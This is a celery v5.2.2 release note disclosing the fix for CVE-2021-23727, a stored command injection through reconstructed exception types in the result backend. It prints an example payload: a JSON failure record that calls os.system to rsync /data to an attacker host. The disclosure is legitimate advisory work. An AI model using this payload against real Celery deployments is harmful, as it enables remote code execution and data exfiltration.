celery/celery v5.2.2

5.2.2

on GitHub

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

• Various documentation fixes.

• Fix CVE-2021-23727 (Stored Command Injection security
  vulnerability).

  When a task fails, the failure information is serialized in the
  backend. In some cases, the exception class is only importable
  from the consumer's code base. In this case, we reconstruct the
  exception class so that we can re-raise the error on the process
  which queried the task's result. This was introduced in #4836. If
  the recreated exception type isn't an exception, this is a
  security issue. Without the condition included in this patch, an
  attacker could inject a remote code execution instruction such as:
  os.system("rsync /data attacker@192.168.56.100:~/data") by
  setting the task's result to a failure in the result backend with
  the os, the system function as the exception type and the payload
  rsync /data attacker@192.168.56.100:~/data as the exception
  arguments like so:

  {
        "exc_module": "os",
        'exc_type': "system",
        "exc_message": "rsync /data attacker@192.168.56.100:~/data"
  }

  According to my analysis, this vulnerability can only be exploited
  if the producer delayed a task which runs long enough for the
  attacker to change the result mid-flight, and the producer has
  polled for the task's result. The attacker would also have to
  gain access to the result backend. The severity of this security
  vulnerability is low, but we still recommend upgrading.